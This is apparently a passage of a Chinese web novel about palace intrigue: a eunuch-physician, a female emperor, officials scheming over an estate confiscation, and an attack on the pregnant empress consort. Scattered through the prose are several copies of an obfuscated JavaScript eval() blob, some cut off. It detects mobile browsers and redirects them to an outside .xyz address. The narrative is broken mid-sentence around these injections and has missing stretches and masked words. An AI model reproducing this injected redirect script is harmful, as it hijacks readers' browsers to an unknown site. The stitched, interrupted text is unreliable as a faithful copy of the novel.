赵马玄和武勇分立两端，目光交汇的瞬间，气氛骤然紧张起来。只见刀光剑影交织，两道身影在院中来回穿梭。赵马玄的刀法大开大合，气势如虹；武勇则是以快打快，刀锋所向，寒光凛冽。 柳富金等人看得目瞪口呆，还是第一次见到如此精妙的武学。就连一向见多识广的钱有德，此时也不由得屏住了呼吸。 比试结束，二人相视一笑，皆是心悦诚服。赵马玄拱手道：“朱兄的刀法果然名不虚传，老夫自愧不如。” 武勇连忙还礼：“赵兄过谦了，您的刀法气势磅礴，在下受益匪浅。” 酒宴散去时，柳霜华的目光始终追随着秦烨的背影。这样一个既有实力又有胆识的男子，任何女子怕是都难以抵挡其魅力。她不由得想起方才席间，秦烨谈吐不凡，举止优雅，与那些趾高气扬的浪荡公子完全不同。 马车上，武勇看向秦烨，有些犹豫：“恩公，听赵兄说紫电剑在您手中？” “对，不过……”秦烨突然一拍大腿，懊恼道，“糟了，剑还在之前的马车上！” 二人匆忙赶到马车处，车夫见到秦烨，立刻跪地行礼，额头上渗出细密的汗珠：“公子恕罪，小的有眼无珠……” “起来吧，”秦烨摆摆手，“我的剑可还在车上？” “回公子的话，马车无人动过。”车夫连忙答道。 秦烨上车取出剑匣，打开后，紫电剑的寒芒顿时闪耀而出，在昏暗的车厢内格外醒目。他将剑匣递给武勇：“你看看。” 武勇接过剑匣，看着那熟悉的紫电剑，眼中闪过一丝悲伤。师父的佩剑在此，想必他已经遭遇不测。他的手指轻轻抚过剑身，仿佛能感受到师父当年持剑时的温度。 “可看出什么门道？”秦烨问道。 武勇收起思绪，摇头道：“实不相瞒，对这紫电剑，我所知有限。真正了解此剑的，就是我那师妹。只可惜她现在不在汴城。” “你那小师妹？”秦烨来了兴趣，“听你这么说，她很了解这把剑？” “说起小师妹，那还是十年前的事了。”武勇有些怀念的说道，“那时她还是个不谙世事的丫头，初入江湖就闯下大祸。” 秦烨来了兴趣，在一旁的石凳上坐下：“哦？什么大祸？” “她看中了师父的紫电剑。”武勇摇头苦笑，“那丫头性子倔强，竟然趁师父不备，强行夺剑。” 秦烨眉头微挑：“这么大胆？” “何止是大胆。”武勇叹了口气，“那一战，师父本可取她性命。但见她年纪尚小，根骨不错，便留了她一命。” 微风拂过，带来几片落叶。武勇望着飘落的树叶，继续说道：“谁知这丫头不知悔改，反而缠着师父要拜师。整日跟在后头，又是磕头又是下跪，闹得师父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481751|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不胜其烦。” “最后呢？” “还能怎样？”武勇无奈地耸耸肩，“师父被她磨得没办法，只得收她为徒。说来也怪，这丫头一入门就跟变了个人似的，勤学苦练，天赋惊人。” 秦烨听得入神，不禁问道：“那紫电剑呢？” “小师妹在师父身边混了不少日子，对这紫电剑爱不释手。”武勇的语气中带着几分宠溺，“每次练功完，她都要缠着师父讨要把玩。久而久之，论对紫电剑的了解，她竟比我还要深。” 秦烨闻言，将手中剑匣递给武勇：“既如此，这剑你先拿着，等你师妹来了再让她看看。” 武勇接过剑匣，小心翼翼地打开看了一眼，又迅速合上。 “你那小师妹实力如何？”秦烨突然问道。 武勇沉吟片刻：“若论江湖排名，应在兵器录前二十左右。” “不在榜上？”秦烨有些诧异。 “哥哥你有所不知。”武勇解释道，“兵器录上的，不过是些现世高手。真正的隐世强者，那些深藏不露的世家门派中人，从不轻易现身。” 说到这里，武勇的眼中闪过一丝敬畏：“我那师父，想必就是这样的存在。” 秦烨若有所思地点点头。 两人说话间，不知不觉已走到皇城附近。街道上行人渐少，远处的宫墙在夕阳下显得格外雄伟。 “就送到这里吧。”秦烨拱手道。 “恩公慢走。”武勇还礼。 目送武勇离开，秦烨转身步入皇城。宫道上的侍卫见到他，纷纷行礼。他径直走向承明殿，脚步声在空旷的宫道上回响。 推开殿门，只见上官瑾正坐在龙座上批阅奏章。烛光映照下，她的侧脸显得格外清冷。 她瞥了秦烨一眼，却并未开口。 秦烨也不急，站在一旁静静等候。大殿内只有翻动奏章的沙沙声，以及偶尔传来的批阅声。 良久，他才开口问道：“不知端木正一案，情况如何了？” “证据已经搜集齐全。”上官瑾头也不抬地说道，声音带着疲惫。 第七十五章 想亲自抄家 秦烨看着上官瑾略显憔悴的面容，心中一动。这些日子，她为了处理端木正一案，想必没少操心。 秦烨沉默片刻，开口道：“既然……” “既然如何？”上官瑾突然问道。 “不知陛下打算如何处置？”秦烨笑着反问。 “人都跑了，只能处置同党，抄了他的家产。”上官瑾放下手中的朱笔，淡淡道，“你想说什么？” “陛下就非要我说出来？” “你不说，我怎会知道？”上官瑾的声音中带着不耐。 秦烨无奈，只得直言：“我想亲自抄他的家。既能顺藤摸瓜，二来也能借机清理朝中不臣之人。” “抄家是肥差，朕为何要交给你？”上官瑾冷笑。 “不给我，还能给谁？”秦烨直视着她。 话一出口，秦烨就觉得多此一举。除了他，上官瑾还能信任谁？这些日子以来，朝中大小事务，哪一件不是他在替她分忧？ “既然陛下另有人选，那我告退。”秦烨转身欲走。 “站住！”上官瑾咬牙，“这事就交给你了。明日早朝后，朕定会赐你圣旨。” “臣领旨。”秦烨拱手一笑。 上官瑾扭过头去，显然还在生气。烛光映照下，她的侧脸带着几分倔强。 秦烨暗自摇头，心想这冷战闹得实在无趣。他们又不是寻常男女，何必如此？更何况，还有正事要办。 可看着上官瑾的模样，秦烨又不知该如何开口。这位女帝的性子，他是再清楚不过了。倔强起来，九头牛都拉不回。 沉默在大殿中蔓延。 窗外的月光洒进来，在地上投下斑驳的影子。殿内的烛火摇曳，将两人的身影拉得很长。 秦烨望着那道影子，忽然觉得有些好笑。堂堂九五之尊，居然也会和他玩这种小女儿姿态。 不过想想也是，上官瑾虽贵为天子，可到底也是个女子。这般任性，倒也情有可原。 “若无其他吩咐，臣告退。”秦烨再次拱手。 上官瑾依旧不理他，只是低头继续批阅奏章。 走出承明殿，秦烨抬头望着天空中的明月，心中思绪万千。端木正一案牵连甚广，明日的抄家行动恐怕不会太平。 秦烨整了整衣衫，大步向自己的府邸走去。 夜色如墨，司马辉的书房内灯火通明。 案几上堆满了各式公文，他一封一封地翻看着，眉头渐渐皱起。纸张翻动的沙沙声在静谧的夜里格外清晰，烛光在他脸上投下明暗不定的阴影。 “这份奏折说得倒是有趣。”司马辉冷笑一声，将手中的纸张放在一旁，“端木正这一失踪，倒是让朝堂上热闹起来了。” 老赵站在一旁，为他添了杯茶，茶水的清香在空气中缓缓散开：“大人，这也是意料之中的事。端木正身为禁军总戎，一朝倒台，自然会引起轩然大波。” “说的是。”司马辉端起茶杯，轻轻抿了一口，茶水的温度正好，“不过这事情没那么简单。你看看这些奏折，一个个都在争着要去抄端木府。” “大人的意思是？”老赵的目光落在那堆奏折上。 司马辉放下茶杯，指节轻叩案几：“端木正这些年在禁军积累的势力不小，与他有牵连的官员更是不计其数。现在他突然失踪，那些与他有关系的人，怕是一个个都坐不住了。” “这些人争着要去抄家，表面上看是为了抄家时的油水，实则是为了销毁证据。”司马辉的声音带着几分讥讽，“生怕端木正留下什么把柄。” 老赵不由感叹：“这端木正一倒，怕是要牵出不少人啊。” “陛下这一手，可谓是打得好算盘。”司马辉站起身，负手踱步，烛光随着他的动作在墙上投下摇曳的影子，“借着抄家的机会，看看到底有多少人坐不住。” 就在此时，外面传来急促的脚步声，打破了书房内的宁静。 一个家仆快步走进来，脸上带着几分急色：“老爷，刚收到消息，工部尚书张马临派人去打探端木府的情况，但被禁军挡在外面。” “张马临？”司马辉眯起眼睛，眼中闪过一丝玩味，“看来他也坐不住了。这位工部尚书，怕是与端木正有不少见不得人的勾当。” “不止是张马临。”家仆继续道，“刑部侍郎周凝谦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就在此时，外面传来急促的脚步声。 “大人！”一个家仆匆匆跑进来，“刚刚得到消息，刑部侍郎周凝谦也派人去了端木府！” 张马临的脸色更加难看：“看来不止我一个人坐不住啊。” “大人，周凝谦不是一向与您交好吗？要不要……” “住口！”张马临厉声打断了管家的话，“现在这种时候，谁还顾得上交情？” 管家缩了缩脖子，不敢再说话。 “端木正啊端木正，”张马临低声呢喃，“你到底去了哪里？” 书桌上摊开着一份密报，上面详细记载了端木正畏罪潜逃前的种种异常举动。其中提到端木正曾深夜秘密会见过几位朝中大员，这让张马临心中的不安更加强烈。 “那些文书……”他的手指无意识地敲击着窗棱，【端木正手中是否真的掌握着我这些年来的把柄？】 门外传来轻微的脚步声，打断了他的思绪。 “大人。”老仆恭敬地站在门口，“刚收到消息，民部韩大人已经开始联络各部要员了。” 张马临转过身，烛光映照下的脸庞显得格外深沉。“韩明远这个老狐狸，果然坐不住了。”他冷笑一声，“工部那边呢？” “孔云章大人……似乎也有意争取抄家主事一职。”老仆小心翼翼地回答。 “哼！”张马临重重地哼了一声，大步走到书桌前坐下。他提笔蘸墨，在纸上快速写下几个名字，“去，把我的话传给这几位大人-只要他们愿意放弃抄家主事之职，我张马临必有重谢。” “老爷，这……”老仆面露迟疑。 “去办！”张马临厉声打断，“不惜代价，这个位置我志在必得！” 老仆连忙应声退下，脚步声渐渐远去。 与此同时，民部衙门。 韩明远正在灯下翻看着官员任免文书，他的目光在秦烨的名字上停留了片刻，嘴角勾起一抹意味深长的笑意。 “大人，”一名心腹幕僚轻声道，“工部那边已经开始行动了。张马临派人拜访了几位要员，似乎是想用重金收买。” 韩明远放下手中的文书，眼中闪过一丝寒芒。“呵，这位张尚书倒是够急的。”他冷笑道，“看来是真的害怕了。” “那我们……” “不急。”韩明远站起身，负手而立，“让他先着急。本官倒要看看，他能使出什么花样来。” “大人高明。”幕僚恭维道。 韩明远走到窗前，望着外面的夜色。“去，把李大人请来，我有话要说。” 幕僚领命而去。 不多时，一个身着便服的中年文士悄然而至。正是民部郎中李景元。 “大人深夜召见，可是有要事？”李景元拱手问道。 韩明远没有立即回答，而是走到书案前，取出一份文书递给李景元。“你看看这个。” 李景元接过文书，仔细阅读起来。片刻后，他的脸色变得凝重起来。“这是……” “不错，这是端木正案的部分证据。”韩明远淡淡地说，“你觉得，张马临为什么这么急着要抄家主事的位置？” 李景元眼中精光一闪。“莫非……” “正是。”韩明远意味深长地说，“这些年来，张马临在工部可没少做手脚。端木正手中，很可能掌握着他的把柄。” “所以他才……” “他想亲自主持抄家，好第一时间销毁对他不利的证据。”韩明远冷笑道，“可惜，这次他怕是要失算了。” 与此同时，工部衙门。 孔云章正在欣赏一幅新得的山水画，忽然听到外面传来脚步声。 “老爷，张府来人求见。” 孔云章放下手中的画轴，眼中闪过一丝玩味。“让他进来。” 张府的仆人进来后，恭敬地行礼。“孔大人，我家老爷说，只要您不争抄家主事一职，一切条件都好商量。往后工部的拨款也绝不会有任何阻碍。” 孔云章眯起眼睛，手指轻轻敲击着桌面。“你且回去告诉你家老爷，此事容我考虑考虑。” 待仆人退下，孔云章冷笑连连。这么多年被张马临压制的憋屈，今日总算能找补回来了。 “来人！” “大人。” “去，把消息放出去，就说本官对抄家主事一职也很感兴趣。”孔云章眼中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这张马临，终究还是低头了。不过是一场工部营造的小事，却让他得到了这幅心心念念的真迹，这买卖，着实划算。想到这里，他的嘴角不自觉地上扬。 第七十七章 皇后确诊有喜 “大人！”急促的脚步声打破了书房的宁静。一名心腹快步走进，脸上带着掩饰不住的兴奋，“外面有消息传来，皇后娘娘有喜了！” 孔云章原本悠闲的神色瞬间凝固：“确切消息？” “千真万确。”那人压低声音，“御医署已经诊断过，皇后确实有了身孕。据说已有两个多月了。” 孔云章的手指无意识地敲击着窗框，眉头紧蹙。皇后有孕，这可不是什么小事。一旦生下皇子，司马家的地位必将水涨船高。原本平衡的朝堂局势，怕是要彻底改写了。 “大人，宫里已经炸开锅了。”又一名下属匆匆赶来，“各位娘娘都去皇后宫中道贺，场面好不热闹。” “热闹？”孔云章冷笑一声，转身在太师椅上坐下，“这些人心里怕是比醋坛子还酸。不过是逢场作戏罢了。” 宫中此刻确实热闹非凡。司马玉华的寝宫内，莺莺燕燕围作一团。檀香袅袅，茶香四溢。 “恭喜皇后娘娘。”陈雅韵屈膝行礼，脸上带着得体的笑容，眼底却暗藏嫉妒，“这可是天大的喜事。” 司马玉华端坐在雕花楠木椅上，身着一袭淡青色宫装，嘴角挂着若有若无的笑意：“诸位妹妹不必多礼。这宫中姐妹一场，都是一家人。” 她的目光扫过众人的面庞，心中暗自盘算。表面上其乐融融，可谁都知道，这后宫之中暗流涌动。每个人都在打量着她微微隆起的小腹，眼中或羡慕或嫉妒，或是藏着深不可测的心思。 “皇后娘娘说得对。”贵妃周婉清笑吟吟地开口，“我们都该为皇室开枝散叶才是。” “是啊是啊。”众人纷纷附和，声音甜得发腻。 司马玉华轻抚腹部，面上依旧带着温和的笑容，心中却暗自警惕。后宫之中，最是险恶。即便自己已经有孕在身，也不能掉以轻心。稍有不慎，就可能万劫不复。 她不由想起了秦烨。若非他一直在暗中照拂，自己也不会有今日这般境遇。这个看似普通的太监，手中却握着莫大的权柄。 “娘娘，该用午膳了。”贴身宫女飞雪轻声提醒，“太医说过，娘娘现在要按时用膳。” 司马玉华微微颔首：“诸位妹妹也该回去歇息了。” 众妃嫔告退，三三两两离开。走出宫门，脸上的笑容顿时收敛。华丽的宫装下，是藏不住的心思。 “这司马玉华，不过是运气好些罢了。”一位妃子低声嘀咕。 “可不是么，还不是因为有秦烨照应。”另一人接话，语气中带着酸意。 “说起来，这秦烨虽是太监，可手中却握着侍寝的大权……” 几位妃子对视一眼，都明白了对方的心思。宫墙内的风，永远吹不散这些心思。 与此同时，御医署内。 赵马康坐在雕花檀木案前，眉头紧锁。皇后有孕的消息，对他而言无异于晴天霹零。 多年布局，就是为了离间君臣，削弱皇权。可如今司马家即将与皇室血脉相连，这一切努力岂不是付诸东流？案几上的茶水已经凉透，他却浑然不觉。 “来人！”他突然开口，语气焦躁。 “大人。”一名心腹立刻上前。 “去查，查清楚皇后怀孕的具体时日。”赵马康的手指在案几上轻轻敲击，“另外，派人盯着御医署，一有风吹草动，立刻禀报。” “是！” 待下属退下，赵马康站起身，走到窗前。眸光阴沉得仿佛能滴出水来。窗外的阳光明媚，却照不进他的心里半分。 他紧握的拳头微微颤抖，指甲深深陷入掌心，却浑然不觉疼痛。书房内一片寂静，只有他粗重的呼吸声在回荡。 “秦烨……秦烨！”他咬牙切齿地低吼，声音里充满了压抑的怒火。 这个名字如同一根刺，深深扎在他的心头。每每想起，都让他怒火中烧，恨不得将其**万段。 若不是这个该死的秦烨，他们筹谋多年的计划怎会功亏一篑？多年的心血，就这样付诸东流了。 赵马康转身在书房内来回踱步，脚步声沉重而急促。脑海中不断回放着这段时间发生的一切，每一幕都让他心如刀绞。 秦烨治好了上官瑾的隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一路上，上官瑾都在思考该如何说服司马玉华。宫道两旁的宫女太监纷纷跪地行礼，却没人敢抬头看她一眼。 直接下手除掉胎儿是不可能的。司马家势大，宫中防护又如此严密。况且，这样做的后果她承担不起。 【唯一的办法，就是说服司马玉华主动放弃这个孩子。可这谈何容易？】每想到这里，她就觉得头疼欲裂。 【哪个母亲愿意放弃自己的骨肉？更何况这还是一个能够改变她命运的孩子。】 到了长春宫外，上官瑾看着来来往往的宫女太监，眉头微皱。宫中的气氛明显不同往常，处处透着喜气洋洋。 司马辉早已在长春宫外布下重重暗哨，每一个角落都安排了精锐的暗卫。他们身着便装，与普通宫人无异，却都是从虎卫中精挑细选出来的好手。这些人轮番值守，日夜不停，为的就是确保司马玉华母子的安全。 上官瑾站在宫门外，看着来往的宫人，眉头微皱。她的目光落在那些看似普通的宫人身上，嘴角勾起一抹若有似无的笑意。司马辉的布置虽然隐蔽，但还是逃不过她的眼睛。 【一个未出世的胎儿，竟已引得朝野如此关注。若是真的生下来，怕是要掀起惊天波澜。】想到这里，她的眼中闪过一丝复杂的情绪。 宫门两侧的侍卫见到她，立刻躬身行礼。上官瑾微微颔首，迈步走进长春宫。 殿内檀香袅袅，几个宫女正在收拾药炉。司马玉华靠在软榻上，听到脚步声，缓缓睁开眼睛。 “臣妾不知陛下驾到，有失远迎，还请陛下恕罪。”她撑着身子想要起身，脸上带着几分倦意。 “爱妃不必多礼。”上官瑾快步上前扶住她，感受到她手臂的微微颤抖，“你如今有了身孕，不必行这些繁文缛节，当心动了胎气。” 司马玉华抚着微微隆起的小腹，脸上露出甜蜜的笑容：“多谢陛下关心，臣妾知道轻重。倒是陛下，还请以江山社稷为重。” 上官瑾在她身边坐下，目光不经意间扫过殿内。几个宫女正在收拾药材，浓郁的药香飘散在空气中。她皱了皱眉，问道：“为何要在宫中煎药？御医署难道不能直接送来？” “陛下……”司马玉华眼中闪过一丝忧虑，声音轻柔却带着坚定，“臣妾腹中怀的是大周龙种，这些日子战战兢兢，唯有亲眼看着煎药，才能真正放心。” 上官瑾默然。她仔细打量着司马玉华，发现今日的她与往日大不相同。不仅气质柔和了许多，更是素面朝天，不施粉黛。往日那个爱美如命的司马玉华仿佛已经消失不见，取而代之的是一个温婉贤淑的准母亲。 “爱妃今日怎么不施粉黛？”她轻声问道，语气中带着几分试探。 “回陛下，臣妾最近研读养胎之书，说是脂粉对胎儿不好，便都不用了。”司马玉华轻声答道，眼中流露出疼惜之情，“这孩子来之不易，臣妾不敢有丝毫懈怠。” 上官瑾心中一震。她原本打算劝司马玉华放弃这个孩子，可看到对方为了腹中胎儿如此用心，心中不禁动摇。 “娘娘，药煎好了。”雨竹的声音从外面传来，打断了她的思绪。 “送进来吧。” 秦烨和雨竹捧着药碗走进来，药汁漆黑，散发着浓郁的苦味。司马玉华接过药碗，强忍着苦涩一口一口喝下。她的眉头微皱，却没有丝毫抱怨。 上官瑾看在眼里，心中五味杂陈。她想起自己小时候生病喝药时的痛苦。如今司马玉华为了这个孩子，每日都要喝这样的苦药。 【一个母亲为了孩子可以付出这么多，我却要她放弃……这样做是不是太残忍了？可事关大周江山，我又不得不这么做。】这种矛盾在她心中不断撕扯，让她感到前所未有的煎熬。 “爱妃，药喝完了吧？不如陪朕去映月池走走如何？”上官瑾轻声问道，想要暂时逃避这个困扰她的问题。 司马玉华放下药碗，擦了擦嘴角：“臣妾遵旨。” 两人并肩走出长春宫，向映月池走去。初春的阳光暖暖地洒在身上，远处的垂柳随风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦烨站在不远处，默默注视着这一幕。作为御医署院判，他能清晰地感受到上官瑾内心的挣扎。月光下，皇帝的面容显得格外清冷，眉宇间似有化不开的愁绪。 木质栈道蜿蜒向前，延伸至湖心小岛，宛如一条玉带横亘水面。两侧的芦苇随风摇曳，发出沙沙的轻响。零星的萤火虫在草丛间忽明忽暗，为这静谧的夜色增添了几分生机。 “你们退后些。”上官瑾突然开口，对着身后的宫人挥了挥手。她的声音有些沙哑，似乎在极力压抑着什么。 秦烨微微皱眉，但还是带着众人后退了几步。他知道，有些事情必须由上官瑾自己做出选择。然而，一种莫名的不安在他心头升起。 栈道上，司马玉华依旧挽着上官瑾的手臂，脸上带着甜蜜的笑容。自从有了身孕，她很少能有这样亲近帝王的机会。月光下，她的面容显得格外柔美，眼中闪烁着幸福的光芒。 “陛下……”司马玉华轻声唤道，语气中带着撒娇的意味。 上官瑾欲言又止，目光不时扫向四周。夜风吹起她的衣袍，带来一阵若有若无的寒意。 就在这时，秦烨敏锐地察觉到不对劲。水面下似乎有什么东西在移动，荷叶轻微的晃动不像是风造成的。他的瞳孔猛地收缩，心跳陡然加快。 “小心！”他刚要出声提醒。 两道寒光已经破水而出！银针在月光下闪烁着森冷的光芒，直奔上官瑾而去。 司马玉华反应极快，一把推开上官瑾。两根钢针瞬间没入她的肩膀，发出轻微的“噗嗤”声。她的脸色瞬间变得苍白，身体摇晃起来。 “皇后！”秦烨大喊一声，纵身跃出。 司马玉华摇晃着向后倒去，上官瑾下意识去拉她，却被带得一起跌入水中。水花四溅，打破了夜的宁静。 秦烨一个猛子扎进荷塘，冰冷的水瞬间包裹了他的全身。水下视线模糊，但他还是一眼就看到了下沉的司马玉华。她的衣裙在水中舒展开来，如同一朵绽放的花。 他游到司马玉华身边，一把搂住她的腰，猛地蹬腿向上。水流从他们身边呼啸而过，带着刺骨的寒意。 “快！救人！”岸上传来此起彼伏的喊声。火把的光芒照亮了夜空，将整个映月池映照得通明。 禁军已经赶到，举着火把在四周搜寻刺客的踪迹。他们的脚步声急促而杂乱，喊声此起彼伏。 秦烨抱着司马玉华冲出水面，迅速游向栈道。他能感觉到怀中人的体温在迅速流失，心跳也变得微弱起来。 “立刻回长春宫！”他大声下令，声音中带着不容置疑的威严。 长春宫内，烛火摇曳，映照着众人紧张的面容。秦烨神色凝重地为司马玉华施针。钢针上淬了剧毒，必须尽快化解。他的额头上渗出细密的汗珠，每一个动作都小心翼翼。 他先用嘴吸出伤口的毒血，一口接一口地吐在旁边的瓷盘中。暗红的血液中带着淡淡的腥味，让人心悸。 上官瑾站在一旁，看着昏迷中的司马玉华，眼中闪过愧疚。她的手指紧紧攥着衣袖，指节发白。 “秦……秦神医……”司马玉华微弱的声音响起，像是耗尽了全身的力气，“孩子……孩子没事吧？” 秦烨微微一顿。此时他只能专注于救人，至于腹中胎儿，已经没空管了。毒素的扩散速度太快，稍有不慎就会危及性命。 “别说话，静心养神。娘娘放心，有我在。”秦烨轻声安慰道，手指搭在司马玉华的脉搏上，感受着那微弱却平稳的脉象。 司马玉华苍白的脸上浮现出一丝欣慰的笑容，眼皮微微颤动，随即便沉沉睡去。她的呼吸变得平缓，但面色依旧透着不正常的潮红。 “娘娘！”雨竹扑在床边，泪水打湿了锦被的一角。她的肩膀不住颤抖，指节因紧握床单而发白。 秦烨看着雨竹这般模样，心中也是一阵酸楚。他轻轻拍了拍雨竹的肩膀，柔声道：“雨竹姑娘莫要太过伤心，娘娘只是暂时昏睡，性命无忧。” 雨竹抬起头，泪眼婆娑地望着秦烨：“秦公公，真的吗？” “自然。”秦烨点头，随即转身在桌案前写下一张药方，“去准备这些药材，记住，不要从御医署取药。” 雨竹连忙擦干眼泪， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第八十章 御医署的嫌疑 夜深人静，承明殿内。 “秦烨，你退下吧。”上官瑾望着站在床边的秦烨，语气有些不自然。烛光映照下，她的面容显得格外疲惫。 “陛下，今日之事非同小可，让奴婢守着些。”秦烨恭敬道。他注意到女帝的手指还在微微发抖，显然是被今日的刺杀吓到了。 “你……”上官瑾瞪了他一眼，“朕说了不用你守着。” 秦烨无奈，只得退了出去。看着紧闭的殿门，他轻叹一声。这位女帝，还是这般倔强。他在殿外的回廊处站定，竖起耳朵仔细聆听着殿内的动静。 回到自己的小院，秦烨开始梳理今日之事。暗器的来源、下手的时机、**的配方，每一样都透着诡异。他在院中来回踱步，思绪纷乱。 “御医署……”秦烨忽然停下脚步，眯起眼睛。 那日他去御医署取药，曾看到几个太医鬼鬼祟祟地聚在一起。当时没在意，现在想来，怕是有些关联。他记得其中一人手中拿着一个青色的瓷瓶，见到他来，立刻藏了起来。 秦烨走到案前，取出一个布包，里面装着今日从暗器上提取的**残留。他仔细闻了闻，眉头越皱越紧。这**的气味，与他在御医署闻到的某种药材极为相似。 “看来，得找个机会去御医署走一趟了。”秦烨眼中闪过一丝寒芒。他取出一个小瓷瓶，将解毒丹收好，以防万一。 朝阳初升，金光洒落在金銮殿的琉璃瓦上，映出一片璀璨。清晨的微风拂过庭院，带着几分凉意，吹散了夏日的闷热。 “秦公公，该起身了。”门外传来太监轻声的催促，“皇上特意吩咐，今日早朝务必要参加。” 秦烨正沉浸在一个旖旎的美梦中，梦里的上官瑾对他百依百顺，那张倾国倾城的脸庞近在咫尺，正要投怀送抱时，这声呼唤却生生打断了他的美梦。 “滚！”秦烨怒骂一声，翻了个身继续睡，被子裹得紧紧的，像是要把外界的打扰都隔绝。 门外的太监咽了咽口水，额头渗出细密的汗珠：“秦公公，您要是再不起，可就要误了早朝了。皇上可是特意叮嘱……” 话未说完，一个枕头已经砸在了门上。秦烨猛地睁开眼睛，这才想起自己已经是翰林院人，确实该去上朝。他揉了揉惺忪的睡眼，不情不愿地坐起身来。 “叫梅儿她们进来伺候。”秦烨打了个哈欠，声音里还带着几分慵懒。 很快，几个容貌秀丽的宫女鱼贯而入。梅儿手捧着温热的清水，另一个宫女端着铜镜，还有人拿着梳子和发带。她们动作轻柔地为秦烨梳洗打扮，一身六品官服穿在身上，倒也有几分威仪。 “秦公公，您的腰带歪了。”梅儿轻声提醒，纤细的手指替他整理着衣襟。 秦烨随手拍开她的手：“行了，差不多就得了。”他打着哈欠往金銮殿走去，心里暗骂：【这大清早的上什么朝，睡觉不香吗？】 宫道上已经有不少官员匆匆赶往金銮殿，看到秦烨时，有人行礼，有人假装没看见。秦烨也懒得理会，慢悠悠地往前走。 等他到达金銮殿时，早朝已经开始。殿内站满了文武百官，空气中弥漫着一股紧张的气氛。秦烨悄悄溜进大殿，找了根柱子靠着，准备眯一会儿。 “你是何人？竟敢在朝堂上如此失仪！”一个尖锐的声音在耳边响起，像是一把生锈的锯子在耳边拉动。 秦烨睁开眼，只见一个手持本子的清流官员正怒目而视。这官员面容清瘦，一副正气凛然的模样，眼中闪烁着愤怒的光芒。 “关你屁事。”秦烨懒洋洋地回了一句，继续闭目养神。那清流官气得脸色铁青，手中的笔都快捏断了，暗暗记下了这个无礼之徒。 此时殿内，大理寺卿卫秋站了出来，他的声音沉稳有力：“陛下，端木正一案已经审理完毕，但犯人已经脱逃，请陛下示下。” 话音刚落，殿内气氛顿时紧张起来。文武百官们交头接耳，窃窃私 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485409|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语声此起彼伏。工部尚书张马临眼中闪过一丝精光，蠢蠢欲动，准备揽下抄家的差事。民部主事韩明远也在暗中观察局势。 龙座之上，上官瑾端坐其中。她今日一身明黄龙袍，头戴旒冠，眉目如画，却带着几分威严。她淡淡开口：“端木正罪大恶极，虽然脱逃，也难逃法网。即刻发海捕文书，悬赏三千两缉拿要犯。同时，着人查抄其家产，以填补国库的缺口。” “微臣愿担此重任！”张马临第一个跳了出来，他的声音中带着掩饰不住的急切，“身为工部的掌舵人，最熟悉理财之事，此事非臣莫属！” 话音未落，殿内便有不少官员附和支持。这些人平日里就与张马临交好，显然早就被他收买了。他们你一言我一语，说得天花乱坠，把张马临夸得天上有地下无。 “陛下！”韩明远也站了出来，他的声音略显尖锐，“臣与端木正素无瓜葛，由臣主持抄家最为公允。端木府中定有不少罪证，不能让这些证据落入某些人之手。” 他这话明显是在暗指张马临，让张马临脸色一变，眼中闪过一丝怒意。但让韩明远没想到的是，他说完后竟无一人附和。他这才注意到平日被他架空的民部尚书**翔正在冷笑，显然是在看他的笑话。 